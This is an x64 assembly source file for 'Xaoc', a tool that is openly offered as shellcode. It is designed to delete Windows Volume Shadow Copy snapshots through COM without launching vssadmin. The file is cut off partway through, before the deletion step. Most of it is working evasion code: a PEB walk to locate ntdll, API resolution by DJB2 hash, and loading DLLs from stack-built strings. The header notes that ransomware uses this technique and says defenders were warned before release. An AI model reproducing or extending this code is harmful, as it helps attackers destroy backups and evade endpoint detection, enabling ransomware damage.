;----------------------------------------------------------------------------------------------------------------------
; VirTool: Win64.VirTool.Xaoc
; Author : Paul L. (@am0nsec)
; Version: 1.0
; Link   : https://github.com/am0nsec/vx
;
;
; VirTool features:
;     - Position independent code that can be used as shellcode
;     - Delete VSS snapshots without spawning vssadmin.exe image
;
;
; Please note that the original code (in a more human readable format: i.e., C) for this tool has been sent to various 
; blue-teamer and TI professional prior to its release. This has been decided due to the ongoing ransomware attacks 
; that are deleting VSS snapshot to prevent forensic recovery of encrypted data. 1 month has been provided to identify 
; reliable and scalable detection mechanism.
;
;
; Compilation:
;     - ml64.exe /c /Zi /Fo"XAOS.obj" /W3 /errorReport:prompt XAOS.ASM
;     - link.exe /SUBSYSTEM:CONSOLE /ENTRY:"xaos" /MACHINE:X64 XAOS.obj
;
;
; Thanks to:
;     - @smelly__vx
;     - deadlock
;     - @Coldzer0x0
;     - @0xA9five
;----------------------------------------------------------------------------------------------------------------------

IFNDEF __XAOS_GUARD__
__XAOS_GUARD__ EQU <1>

;----------------------------------------------------------------------------------------------------------------------
; Structures
;----------------------------------------------------------------------------------------------------------------------
GUID STRUCT
    Data1 DWORD ?
    Data2 WORD ?
    Data3 WORD ?
    Data4 BYTE 7 dup(?)
GUID ENDS

_LUID STRUCT
    LowPart  DWORD ?
    HighPart DWORD ? 
_LUID ENDS

_LUID_AND_ATTRIBUTES STRUCT 
    Luid       _LUID <>
    Attributes DWORD ?
_LUID_AND_ATTRIBUTES ENDS

_TOKEN_PRIVILEGES STRUCT
    PrivilegeCount DWORD ?
    Privileges     _LUID_AND_ATTRIBUTES 1 dup(<>)
_TOKEN_PRIVILEGES ENDS

_VSS_SNAPSHOT_PROP STRUCT 
    m_SnapshotId               GUID <>
    m_SnapshotSetId            GUID <>
    m_lSnapshotsCount          QWORD ?
    m_pwszSnapshotDeviceObject QWORD ?
    m_pwszOriginalVolumeName   QWORD ?
    m_pwszOriginatingMachine   QWORD ?
    m_pwszServiceMachine       QWORD ?
    m_pwszExposedName          QWORD ?
    m_pwszExposedPath          QWORD ?
    m_ProviderId               GUID <>
    m_lSnapshotAttributes      QWORD ?
    m_tsCreationTimestamp      QWORD ?
    m_eStatus                  QWORD ?
_VSS_SNAPSHOT_PROP ENDS

_VSS_PROVIDER_PROP STRUCT
    m_ProviderId          GUID <>
    m_pwszProviderName    QWORD ?
    m_eProviderType       DWORD ?
    m_pwszProviderVersion QWORD ?
    m_ProviderVersionId   GUID <>
    m_ClassId             GUID <>
_VSS_PROVIDER_PROP ENDS

_VSS_OBJECT_PROP STRUCT 
    ObjType QWORD ?
    UNION
        Snap _VSS_SNAPSHOT_PROP <>
        Prov _VSS_PROVIDER_PROP <>
    ENDS
_VSS_OBJECT_PROP ENDS

LARGE_INTEGER struct
    LowPart  DWORD ? ; 0x0000
    HighPart DWORD ? ; 0x0004
LARGE_INTEGER ends

ULARGE_INTEGER struct 
    LowPart  DWORD ? ; 0x0000
    HighPart DWORD ? ; 0x0004
ULARGE_INTEGER ends

UNICODE_STRING struct
    _Length       WORD ?        ; 0x0000
    MaximumLength WORD ?        ; 0x0002
                  BYTE 4 dup(?) ; padding
    Buffer        QWORD ?       ; 0x0008
UNICODE_STRING ends

LIST_ENTRY struct
    Flink QWORD ? ; 0x0000
    BLink QWORD ? ; 0x0008
LIST_ENTRY ends

PEB struct
    InheritedAddressSpace                BYTE ?            ; 0x0000
    ReadImageFileExecOptions             BYTE ?            ; 0x0001
    BeingDebugged                        BYTE ?            ; 0x0002
    BitField                             BYTE ?            ; 0x0003
    Padding0                             BYTE 4 dup(?)     ; 0x0004
    Mutant                               QWORD ?           ; 0x0008
    ImageBaseAddress                     QWORD ?           ; 0x0010
    Ldr                                  QWORD ?           ; 0x0018
    ProcessParameters                    QWORD ?           ; 0x0020
    SubSystemData                        QWORD ?           ; 0x0028
    ProcessHeap                          QWORD ?           ; 0x0030
    FastPebLock                          QWORD ?           ; 0x0038
    AtlThunkSListPtr                     QWORD ?           ; 0x0040
    IFEOKey                              QWORD ?           ; 0x0048
    CrossProcessFlags                    DWORD ?           ; 0x0050
    Padding1                             BYTE 4 dup(?)     ; 0x0054
    UserSharedInfoPtr                    QWORD ?           ; 0x0058
    SystemReserved                       DWORD ?           ; 0x0060
    AtlThunkSListPtr32                   DWORD ?           ; 0x0064
    ApiSetMap                            QWORD ?           ; 0x0068
    TlsExpansionCounter                  DWORD ?           ; 0x0070
    Padding2                             BYTE 4 dup(?)     ; 0x0074
    TlsBitmap                            QWORD ?           ; 0x0078
    TlsBitmapBits                        DWORD 2 dup(?)    ; 0x0080
    ReadOnlySharedMemoryBase             QWORD ?           ; 0x0088
    SharedData                           QWORD ?           ; 0x0090
    ReadOnlyStaticServerData             QWORD ?           ; 0x0098
    AnsiCodePageData                     QWORD ?           ; 0x00A0
    OemCodePageData                      QWORD ?           ; 0x00A8
    UnicodeCaseTableData                 QWORD ?           ; 0x00B0
    NumberOfProcessors                   DWORD ?           ; 0x00B9
    NtGlobalFlag                         DWORD ?           ; 0x00BC
    CriticalSectionTimeout               LARGE_INTEGER <>  ; 0x00C0
    HeapSegmentReserve                   QWORD ?           ; 0x00C8
    HeapSegmentCommit                    QWORD ?           ; 0x00D0
    HeapDeCommitTotalFreeThreshold       QWORD ?           ; 0x00D8
    HeapDeCommitFreeBlockThreshold       QWORD ?           ; 0x00E0
    NumberOfHeaps                        DWORD ?           ; 0x00E8
    MaximumNumberOfHeaps                 DWORD ?           ; 0x00EC
    ProcessHeaps                         QWORD ?           ; 0x00F0
    GdiSharedHandleTable                 QWORD ?           ; 0x00F8
    ProcessStarterHelper                 QWORD ?           ; 0x0100
    GdiDCAttributeList                   DWORD ?           ; 0x0108
    Padding3                             BYTE 4 dup(?)     ; 0x010C
    LoaderLock                           QWORD ?           ; 0x0110
    OSMajorVersion                       DWORD ?           ; 0x0118
    OSMinorVersion                       DWORD ?           ; 0x011C
    OSBuildNumber                        WORD ?            ; 0x0120
    OSCSDVersion                         WORD ?            ; 0x0122
    OSPlatformId                         DWORD ?           ; 0x0124
    ImageSubsystem                       DWORD ?           ; 0x0128
    ImageSubsystemMajorVersion           DWORD ?           ; 0x012C
    ImageSubsystemMinorVersion           DWORD ?           ; 0x0130
    Padding4                             BYTE 4 dup(?)     ; 0x0134
    ActiveProcessAffinityMask            QWORD ?           ; 0x0138
    GdiHandleBuffer                      DWORD 60 dup(?)   ; 0x0140
    PostProcessInitRoutine               QWORD ?           ; 0x0230
    TlsExpansionBitmap                   QWORD ?           ; 0x0238
    TlsExpansionBitmapBits               DWORD 32 dup(?)   ; 0x0240
    SessionId                            DWORD ?           ; 0x02C0
    Padding5                             BYTE 4 dup(?)     ; 0x02C4
    AppCompatFlags                       ULARGE_INTEGER <> ; 0x02C8
    AppCompatFlagsUser                   ULARGE_INTEGER <> ; 0x02D0
    pShimData                            QWORD ?           ; 0x02D8
    AppCompatInfo                        QWORD ?           ; 0x02E0
    CSDVersion                           UNICODE_STRING <> ; 0x02E8
    ActivationContextData                QWORD ?           ; 0x02F8
    ProcessAssemblyStorageMap            QWORD ?           ; 0x0300
    SystemDefaultActivationContextData   QWORD ?           ; 0x0308
    SystemAssemblyStorageMap             QWORD ?           ; 0x0310
    MinimumStackCommit                   QWORD ?           ; 0x0318
    SparePointers                        QWORD 4 dup(?)    ; 0x0320
    SpareUlongs                          DWORD 5 dup(?)    ; 0x0340
                                         BYTE 4 dup(?)
    WerRegistrationData                  QWORD ?           ; 0x0358
    WerShipAssertPtr                     QWORD ?           ; 0x0360
    pUnused                              QWORD ?           ; 0x0368
    pImageHeaderHash                     QWORD ?           ; 0x0370
    TracingFlags                         DWORD ?           ; 0x0378
    Padding6                             BYTE 4 dup(?)     ; 0x037c
    CsrServerReadOnlySharedMemoryBase    QWORD ?           ; 0x0380
    TppWorkerpListLock                   QWORD ?           ; 0x0388
    TppWorkerpList                       LIST_ENTRY <>     ; 0x0390
    WaitOnAddressHashTable               QWORD 128 dup(?)  ; 0x03A0
    TelemetryCoverageHeader              QWORD ?           ; 0x07A0
    CloudFileFlags                       DWORD ?           ; 0x07A8
    CloudFileDiagFlags                   DWORD ?           ; 0x07AC
    PlaceholderCompatibilityMode         BYTE ?            ; 0x07B0
    PlaceholderCompatibilityModeReserved BYTE 7 dup(?)     ; 0x07B1
    LeapSecondData                       QWORD ?           ; 0x07B8
    LeapSecondFlags                      DWORD ?           ; 0x07c0
    NtGlobalFlag2                        DWORD ?           ; 0x07c4
PEB ends

PEB_LDR_DATA struct 
    _Length                         DWORD ?       ; 0x0000
    Initialized                     BYTE ?        ; 0x0004
                                    BYTE 3 dup(?) ; padding
    SsHandle                        QWORD ?       ; 0x0008
    InLoadOrderModuleList           LIST_ENTRY <> ; 0x0010
    InMemoryOrderModuleList         LIST_ENTRY <> ; 0x0020
    InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030
    EntryInProgress                 QWORD ?       ; 0x0040
    ShutdownInProgress              BYTE ?        ; 0x0048
                                    BYTE 7 dup(?) ; padding
    ShutdownThreadId                QWORD ?       ; 0x0050
PEB_LDR_DATA ends

RTL_BALANCED_NODE struct 
    _Dummy BYTE 24 dup(?)
RTL_BALANCED_NODE ends

LDR_DATA_TABLE_ENTRY struct 
    InLoadOrderLinks            LIST_ENTRY <>        ; 0x0000
    InMemoryOrderLinks          LIST_ENTRY <>        ; 0x0010
    InInitializationOrderLinks  LIST_ENTRY <>        ; 0x0020
    DllBase                     QWORD ?              ; 0x0030
    EntryPoint                  QWORD ?              ; 0x0038
    SizeOfImage                 DWORD ?              ; 0x0040
                                BYTE 4 dup(?)        ; padding
    FullDllName                 UNICODE_STRING <>    ; 0x0048
    BaseDllName                 UNICODE_STRING <>    ; 0x0058
    FlagGroup                   BYTE 4 dup(?)        ; 0x0068
    ObsoleteLoadCount           WORD ?               ; 0x006C
    TlsIndex                    WORD ?               ; 0x006E
    HashLinks                   LIST_ENTRY <>        ; 0x0070
    TimeDateStamp               DWORD ?              ; 0x0080
                                BYTE 4 dup(?)        ; padding 
    EntryPointActivationContext QWORD ?              ; 0x0088
    _Lock                       QWORD ?              ; 0x0090
    DdagNode                    QWORD ?              ; 0x0098
    NodeModuleLink              LIST_ENTRY <>        ; 0x00A0
    LoadContext                 QWORD ?              ; 0x00B0
    ParentDllBase               QWORD ?              ; 0x00B8
    SwitchBackContext           QWORD ?              ; 0x00C0
    BaseAddressIndexNode        RTL_BALANCED_NODE <> ; 0x00C8
    MappingInfoIndexNode        RTL_BALANCED_NODE <> ; 0x00E0
    OriginalBase                QWORD ?              ; 0x00F8
    LoadTime                    LARGE_INTEGER <>     ; 0x0100
    BaseNameHashValue           DWORD ?              ; 0x0108
    LoadReason                  DWORD ?              ; 0x010C
    ImplicitPathOptions         DWORD ?              ; 0x0110
    ReferenceCount              DWORD ?              ; 0x0114
    DependentLoadFlags          DWORD ?              ; 0x0118      
    SigningLevel                BYTE ?               ; 0x011C
LDR_DATA_TABLE_ENTRY ends

IMAGE_DOS_HEADER struct
    e_magic    WORD ?         ; 0x0000 
    e_cblp     WORD ?         ; 0x0002
    e_cp       WORD ?         ; 0x0004
    e_crlc     WORD ?         ; 0x0006
    e_cparhdr  WORD ?         ; 0x0008
    e_minalloc WORD ?         ; 0x000A
    e_maxalloc WORD ?         ; 0x000C
    e_ss       WORD ?         ; 0x000E
    e_sp       WORD ?         ; 0x0010
    e_csum     WORD ?         ; 0x0012
    e_ip       WORD ?         ; 0x0014
    e_cs       WORD ?         ; 0x0016
    e_lfarlc   WORD ?         ; 0x0018
    e_ovno     WORD ?         ; 0x001A
    e_res      WORD 4 dup(?)  ; 0x001C
    e_oemid    WORD ?         ; 0x0024
    e_oeminfo  WORD ?         ; 0x0026
    e_res2     WORD 10 dup(?) ; 0x0028
    e_lfanew   DWORD ?        ; 0x003C
IMAGE_DOS_HEADER ends

IMAGE_FILE_HEADER struct
    Machine              WORD ?  ; 0x0000
    NumberOfSections     WORD ?  ; 0x0002
    TimeDateStamp        DWORD ? ; 0x0004
    PointerToSymbolTable DWORD ? ; 0x0008
    NumberOfSymbols      DWORD ? ; 0x000c
    SizeOfOptionalHeader WORD ?  ; 0x0010
    Characteristics      WORD ?  ; 0x0012
IMAGE_FILE_HEADER ends

IMAGE_DATA_DIRECTORY struct
    VirtualAddress DWORD ? ; 0x0000
    _Size          DWORD ? ; 0x0004
IMAGE_DATA_DIRECTORY ends

IMAGE_OPTIONAL_HEADER64 struct
    Magic                       WORD ?                          ; 0x0000
    MajorLinkerVersion          BYTE ?                          ; 0x0002
    MinorLinkerVersion          BYTE ?                          ; 0x0003
    SizeOfCode                  DWORD ?                         ; 0x0004
    SizeOfInitializedData       DWORD ?                         ; 0x0008
    SizeOfUninitializedData     DWORD ?                         ; 0x000C
    AddressOfEntryPoint         DWORD ?                         ; 0x0010
    BaseOfCode                  DWORD ?                         ; 0x0014
    ImageBase                   QWORD ?                         ; 0x0018
    SectionAlignment            DWORD ?                         ; 0x0020
    FileAlignment               DWORD ?                         ; 0x0024
    MajorOperatingSystemVersion WORD ?                          ; 0x0028
    MinorOperatingSystemVersion WORD ?                          ; 0x002a
    MajorImageVersion           WORD ?                          ; 0x002C
    MinorImageVersion           WORD ?                          ; 0x002E
    MajorSubsystemVersion       WORD ?                          ; 0x0030
    MinorSubsystemVersion       WORD ?                          ; 0x0032
    Win32VersionValue           DWORD ?                         ; 0x0034
    SizeOfImage                 DWORD ?                         ; 0x0038
    SizeOfHeaders               DWORD ?                         ; 0x003c
    CheckSum                    DWORD ?                         ; 0x0040
    Subsystem                   WORD ?                          ; 0x0044
    DllCharacteristics          WORD ?                          ; 0x0046
    SizeOfStackReserve          QWORD ?                         ; 0x0048
    SizeOfStackCommit           QWORD ?                         ; 0x0050
    SizeOfHeapReserve           QWORD ?                         ; 0x0058
    SizeOfHeapCommit            QWORD ?                         ; 0x0060
    LoaderFlags                 DWORD ?                         ; 0x0068
    NumberOfRvaAndSizes         DWORD ?                         ; 0x006C
    DataDirectory               IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070
IMAGE_OPTIONAL_HEADER64 ends

IMAGE_NT_HEADERS64 struct
    Signature      DWORD ?                    ; 0x0000
    FileHeader     IMAGE_FILE_HEADER <>       ; 0x0004
    OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018
IMAGE_NT_HEADERS64 ends

IMAGE_EXPORT_DIRECTORY struct
    Characteristics       DWORD ? ; 0x0000
    TimeDateStamp         DWORD ? ; 0x0004
    MajorVersion          WORD  ? ; 0x0008
    MinorVersion          WORD  ? ; 0x000A
    _Name                 DWORD ? ; 0x000C
    Base                  DWORD ? ; 0x0010
    NumberOfFunctions     DWORD ? ; 0x0014
    NumberOfNames         DWORD ? ; 0x0018
    AddressOfFunctions    DWORD ? ; 0x001C
    AddressOfNames        DWORD ? ; 0x0020
    AddressOfNameOrdinals DWORD ? ; 0x0024
IMAGE_EXPORT_DIRECTORY ends

;----------------------------------------------------------------------------------------------------------------------
; GlobalOptions COM server
;----------------------------------------------------------------------------------------------------------------------
GlobalOptionsVtbl STRUCT
    QueryInterface QWORD ? 
    AddRef         QWORD ?
    Release        QWORD ?
    Set            QWORD ?
    Query          QWORD ?
GlobalOptionsVtbl ENDS

PGlobalOptionsVtbl TYPEDEF PTR GlobalOptionsVtbl

IGlobalOptions STRUCT
    lpVtbl PGlobalOptionsVtbl ?
IGlobalOptions ENDS

;----------------------------------------------------------------------------------------------------------------------
; VssCoordinator COM server
;----------------------------------------------------------------------------------------------------------------------
VssCoordinatorVtbl STRUCT
    QueryInterface        QWORD ? 
    AddRef                QWORD ?
    Release               QWORD ?
    SetContext            QWORD ?
    StartSnapshotSet      QWORD ?
    AddToSnapshotSet      QWORD ?
    DoSnapshotSet         QWORD ?
    GetSnapshotProperties QWORD ?
    ExposeSnapshot        QWORD ?
    ImportSnapshots       QWORD ?
    Query                 QWORD ?
    DeleteSnapshots       QWORD ?
    BreakSnapshotSet      QWORD ?
    RevertToSnapshot      QWORD ?
    QueryRevertStatus     QWORD ?
    IsVolumeSupported     QWORD ?
    IsVolumeSnapshotted   QWORD ?
    SetWriterInstance     QWORD ?
VssCoordinatorVtbl ENDS

PVssCoordinatorVtbl TYPEDEF PTR VssCoordinatorVtbl

IVssCoordinator STRUCT 
    lpVtbl PVssCoordinatorVtbl ?
IVssCoordinator ENDS

;----------------------------------------------------------------------------------------------------------------------
; VssEnumObject COM server
;----------------------------------------------------------------------------------------------------------------------
VssEnumObjectVtbl STRUCT 
    QueryInterface QWORD ? 
    AddRef         QWORD ?
    Release        QWORD ?
    Next           QWORD ?
    Skip           QWORD ?
    Reset          QWORD ?
    Clone          QWORD ?
VssEnumObjectVtbl ENDS

PVssEnumObjectVtbl TYPEDEF PTR VssEnumObjectVtbl

IVssEnumObject STRUCT
    lpVtbl PVssEnumObjectVtbl ?
IVssEnumObject ENDS

ENDIF ; !__XAOS_GUARD__

;----------------------------------------------------------------------------------------------------------------------
; Code segment
;----------------------------------------------------------------------------------------------------------------------
_TEXT$00 SEGMENT ALIGN(10h) 'CODE'
	
	; @brief Collection of GUID for diffrent COM classes.
	Classes PROC
	; @brief GUID of the GlobalOptions COM class: 0000034B-0000-0000-C000-000000000046
	CLSID_GlobalOptions LABEL PTR
		dword 0000034Bh
		word  0000h
		word  0000h
		byte  0c0h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  46h
	; @brief GUID of the VssCoordinator COM class: e579ab5f-1cc4-44b4-bed9-de0991ff0623
	CLSID_VssCoordinator LABEL PTR
		dword 0e579ab5fh
		word  1cc4h
		word  44b4h
		byte  0beh
		byte  0d9h
		byte  0deh
		byte  09h
		byte  91h
		byte  0ffh
		byte  06h
		byte  23h
	; @brief NULL GUID
	CLSID_NULL LABEL PTR
		dword 00000000h
		word  0000h
		word  0000h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
	Classes ENDP


	; @brief Collection of GUID for diffrent COM interfaces.
	Interfaces PROC
	; @brief GUID of the GlobalOptions COM interface: 0000015B-0000-0000-C000-000000000046
	IID_GlobalOptions LABEL PTR
		dword 0000015Bh
		word  0000h
		word  0000h
		byte  0c0h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  00h
		byte  46h
	; @brief GUID of the VssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05
	IID_VssCoordinator LABEL PTR
		dword 0da9f41d4h
		word  1a5dh
		word  41d0h
		byte  0a6h
		byte  014h
		byte  6dh
		byte  0fdh
		byte  78h
		byte  0dfh
		byte  5dh
		byte  05h
	Interfaces ENDP


	; @brief Collection of COM objects.
	Objects PROC
		GlobalOptions LABEL PTR
			IGlobalOptions <>
		VssCoordinator LABEL PTR
			IVssCoordinator <>
		VssEnumObject LABEL PTR
			IVssEnumObject <>
	Objects ENDP


	; @brief Collection of function pointers
	Functions PROC
    	; ntdll.dll function
		LdrLoadDll LABEL PTR
			QWORD ?
        RtlAdjustPrivilege LABEL PTR
			QWORD ?
		; kernel32.dll functions
		CloseHandle LABEL PTR
			QWORD ?
		ExitProcess LABEL PTR
			QWORD ?
		VirtualProtect LABEL PTR
			QWORD ?
		; ole32.dll functions
		CoCreateInstance LABEL PTR
			QWORD ?
		CoInitializeEx LABEL PTR
			QWORD ?
		CoInitializeSecurity LABEL PTR
			QWORD ?
		CoUninitialize LABEL PTR
			QWORD ?
	Functions ENDP


	; @brief Initialise the tool by resolving all the required modules and their functions. 
	ResolveFunctionAddresses PROC
;----------------------------------------------------------------------------------------------------------------------
; 1. Find the base of the module if not provided (will only work for ntdll in order to find LdrLoadDll). 
;----------------------------------------------------------------------------------------------------------------------
	_start:
		cmp rdx, 00h                                                                               ;
		jnz _get_export_directrory                                                                 ;

		mov rdx, gs:[60h]                                                                          ; Get process environment block (PEB)
		cmp [rdx].PEB.OSMajorVersion, 0Ah                                                          ; 
		jne _exit                                                                                  ; Jump if not Windows 10

		; Get the base address of ntdll
		mov rdx, [rdx].PEB.Ldr                                                                     ; 
		mov rdx, [rdx].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h                            ; First loaded module: e.g. xaos.exe
		mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h                         ; Second loaded module: e.g. ntdll.dll
		mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.DllBase                                                ; Image base of the module

;----------------------------------------------------------------------------------------------------------------------
; 2. Get the Export Address Table (EAT) of the module. 
;----------------------------------------------------------------------------------------------------------------------
	_get_export_directrory:
		; Get module export directory
		mov r15, rdx                                                                               ;
		cmp [rdx].IMAGE_DOS_HEADER.e_magic, 5A4Dh                                                  ; DOS Header --> MZ
		jne _exit                                                                                  ; 

		mov ebx, [rdx].IMAGE_DOS_HEADER.e_lfanew                                                   ; RVA of IMAGE_NT_HEADERS64
		add rdx, rbx                                                                               ; 
		cmp [rdx].IMAGE_NT_HEADERS64.Signature, 00004550h                                          ; NT Header --> PE00
		jne _exit                                                                                  ; 

		mov ebx, IMAGE_NT_HEADERS64.OptionalHeader                                                 ; RVA of IMAGE_OPTIONAL_HEADER64
		add rdx, rbx                                                                               ;                                              
		cmp [rdx].IMAGE_OPTIONAL_HEADER64.Magic, 20bh                                              ; Optional header --> 0x20b
		jne _exit                                                                                  ;

		lea rdx, [rdx].IMAGE_OPTIONAL_HEADER64.DataDirectory                                       ; First entry of the DataDirectory array
		mov ebx, [rdx].IMAGE_DATA_DIRECTORY.VirtualAddress                                         ; RVA of IMAGE_EXPORT_DIRECTORY
		mov rdx, r15                                                                               ; ImageBase
		add rdx, rbx                                                                               ; Module + RVA

;----------------------------------------------------------------------------------------------------------------------
; 3. Resolve address of the diffrent tables
;----------------------------------------------------------------------------------------------------------------------
	_get_table_addresses:
		xor r14, r14                                                                               ;
		xor r13, r13                                                                               ;
		xor r12, r12                                                                               ;
		xor r11, r11                                                                               ;

		mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNames                                       ; Address of the function name
		mov r11, r15                                                                               ; Function name RVA
		add r11, rbx                                                                               ; ImageBase + RVA

		mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions                                   ; Address of function pointers
		mov r12, r15                                                                               ;
		add r12, rbx                                                                               ;

		mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals                                ; Address of function ordinals
		mov r13, r15                                                                               ;
		add r13, rbx                                                                               ;

		mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames                                       ; Total number of named functions
		dec r14                                                                                    ;

;----------------------------------------------------------------------------------------------------------------------
; 4. Parse the exported functions to find the functiosn required by this tool
;----------------------------------------------------------------------------------------------------------------------
		dec rcx                                                                                    ;
	_parse_functions_name:
		mov rbx, 4h                                                                                ; sizeof(DWORD)
		imul rbx, r14                                                                              ; siezof(DWORD) * RCX
		mov esi, [r11 + rbx]                                                                       ; Function RVA 
		add rsi, r15                                                                               ; Function RVA + ImageBase

		mov ebx, 5381h                                                                             ; hash = 0x5381
	_djb2_hash:
		mov r10d, ebx                                                                              ; Store original hash value for later
		shl ebx, 05h                                                                               ; hash << 5 
		add ebx, r10d                                                                              ; (hash << 5) + hash

		xor r10d, r10d                                                                             ; Clean temporary hash value
		mov r10b, byte ptr [rsi]                                                                   ; Get ASCII char
		add ebx, r10d                                                                              ; ((hash << 5) + hash) + char

		inc rsi                                                                                    ; Next string char
		cmp byte ptr [rsi], 00h                                                                    ; End of string
		jne _djb2_hash                                                                             ;

;----------------------------------------------------------------------------------------------------------------------
; 5. Check hash value 
;----------------------------------------------------------------------------------------------------------------------
		mov r10d, dword ptr [r8 + 4 * rcx]                                                         ;
		cmp r10d, ebx                                                                              ; Check if hashes matches
		je _get_function_address                                                                   ;
		dec r14                                                                                    ; 
		jmp _parse_functions_name                                                                  ;

;----------------------------------------------------------------------------------------------------------------------
; 6. Get the address of the function and modify the jump table
;----------------------------------------------------------------------------------------------------------------------
	_get_function_address:
		mov rax, 2h                                                                                ; sizeof(WORD)
		imul rax, r14                                                                              ; sizeof(WORD) * R14
		mov ax, [r13 + rax]                                                                        ; AX = function ordinal

		imul rax, 4                                                                                ; sizeof(DWORD) * ordinal
		mov eax, [r12 + rax]                                                                       ; RVA of function
		mov rbx, r15                                                                               ; RBX = ImageBase
		add rbx, rax                                                                               ; RBX = address of function
		mov qword ptr [r9 + 8 * rcx], rbx

	_reset_loopp:
		mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames                                       ; Reset number of named functions
		dec r14                                                                                    ; 
		dec rcx                                                                                    ; Next function to find
		jns _parse_functions_name                                                                  ;

;----------------------------------------------------------------------------------------------------------------------
; 7. Exit this routine
;----------------------------------------------------------------------------------------------------------------------      
	_exit:
		xor eax, eax
		inc eax
		ret
	ResolveFunctionAddresses ENDP


	; @brief Entry point.
	xaoc PROC
		push rbp                                                                                   ; Frame pointer
		mov rbp, rsp                                                                               ; Stack pointer
		sub rsp, 1F0h                                                                              ; Room for stack
		and rsp, not 8                                                                             ; Shadow stack alignment

	_start:
;----------------------------------------------------------------------------------------------------------------------
; 1. Initialise the tool by resolving all the modules and their functions
;
; rsp + 20h - dwLdrLoadDll           0x0fd5649f
; rsp + 24h - dwRtlAdjustPrivilege   0xbf6edb85 
; rsp + 28h - dwCloseHandle          0xdeef8303	
; rsp + 2Ch - dwExitProces           0x5de7ec9a	
; rsp + 30h - dwVirtualProtect       0xe77dd909
; rsp + 34h - dwCoCreateInstance	 0xa5121f9c
; rsp + 38h - dwCoInitializeEx       0x24fb7662
; rsp + 4Ch - dwCoInitializeSecurity 0xa982945d
; rsp + 40h - dwCoUninitialize       0x6473dfc8
;----------------------------------------------------------------------------------------------------------------------
; rsp + 50h - LdrLoadDll
; rsp + 58h - RtlAdjustPrivilege
; rsp + 60h - CloseHandle
; rsp + 68h - ExitProces
; rsp + 70h - VirtualProtect
; rsp + 78h - CoCreateInstance
; rsp + 80h - CoInitializeEx
; rsp + 88h - CoInitializeSecurity
; rsp + 90h - CoUninitialize
;----------------------------------------------------------------------------------------------------------------------
		mov dword ptr [rsp + 20h], 0fd5649fh                                                       ; LdrLoadDll DJB2 hash
		mov dword ptr [rsp + 24h], 0bf6edb85h                                                      ; RtlAdjustPrivilege DJB2 Hash
		mov dword ptr [rsp + 28h], 0deef8303h                                                      ; CloseHandle DJB2 hash
		mov dword ptr [rsp + 2Ch], 5de7ec9ah                                                       ; ExitProces DJB2 Hash
		mov dword ptr [rsp + 30h], 0e77dd909h                                                      ; VirtualProtect DJB2 hash
		mov dword ptr [rsp + 34h], 0a5121f9ch                                                      ; CoCreateInstance DJB2 Hash
		mov dword ptr [rsp + 38h], 24fb7662h                                                       ; CoInitializeEx DJB2 hash
		mov dword ptr [rsp + 3Ch], 0a982945dh                                                      ; CoInitializeSecurity DJB2 Hash
		mov dword ptr [rsp + 40h], 6473dfc8h                                                       ; CoUninitialize DJB2 Hash

		; Get address of LdrLoadDll and RtlAdjustPrivilege
		xor ecx, ecx                                                                               ; Number of function to resolve
		add ecx, 02h                                                                               ; 
		xor edx, edx                                                                               ; Module Base
		mov r8, rsp                                                                                ; Address of the hashes
		add r8, 20h                                                                                ;
		mov r9, rsp                                                                                ; Address of the function pointers
		add r9, 50h                                                                                ;
		call ResolveFunctionAddresses                                                              ;

		; Get the address of kernel32.dll
		mov dword ptr [rsp + 0B0h], 0065006bh                                                      ; ke
		mov dword ptr [rsp + 0B4h], 006e0072h                                                      ; rn
		mov dword ptr [rsp + 0B8h], 006c0065h                                                      ; el
		mov dword ptr [rsp + 0BCh], 00320033h                                                      ; 32
		mov dword ptr [rsp + 0C0h], 0064002eh                                                      ; .d
		mov dword ptr [rsp + 0C4h], 006c006ch                                                      ; ll
		mov dword ptr [rsp + 0C8h], 00000000h                                                      ; Null terminator

		mov r10, rsp                                                                               ;
		add r10, 0A0h + sizeof UNICODE_STRING                                                      ; Address of the wide string
		mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10                                      ;
		mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 18h                                     ; strlen(Buffer)
		mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 1Ah                               ; sizeof(Buffer)

		xor rcx, rcx                                                                               ; PathToFile 
		xor rdx, rdx                                                                               ; Flags
		mov r8, rsp                                                                                ; ModuleFileName
		add r8, 0A0h                                                                               ;
		mov r9, rsp                                                                                ; ModuleHandle 
		add r9, 0D0h                                                                               ; 
		mov rax, [rsp + 50h]                                                                       ; Address of LdrLoadDll
		call rax                                                                                   ; Call LdrLoadDll function

		; Get address of CloseHandle, ExitProces, VirtualProtect
		mov rdx, [rsp + 0D0h]                                                                      ; Module base
		mov rcx, 03h                                                                               ; Number of function to resolve
		mov r8, rsp                                                                                ; Address of the hashes
		add r8, 28h                                                                                ;
		mov r9, rsp                                                                                ; Address of the function pointers
		add r9, 60h                                                                                ;
		call ResolveFunctionAddresses                                                              ; 

		; Loading comebase.dll module
		mov dword ptr [rsp + 0B0h], 006f0063h                                                      ; co
		mov dword ptr [rsp + 0B4h], 0062006dh                                                      ; mb
		mov dword ptr [rsp + 0B8h], 00730061h                                                      ; as
		mov dword ptr [rsp + 0BCh], 002e0065h                                                      ; e.
		mov dword ptr [rsp + 0C0h], 006c0064h                                                      ; dl
		mov dword ptr [rsp + 0C4h], 0000006ch                                                      ; l + Null terminator
		mov dword ptr [rsp + 0C8h], 00000000h                                                      ; 00000000h

		mov r10, rsp                                                                               ;
		add r10, 0A0h + sizeof UNICODE_STRING                                                      ; Address of the wide string
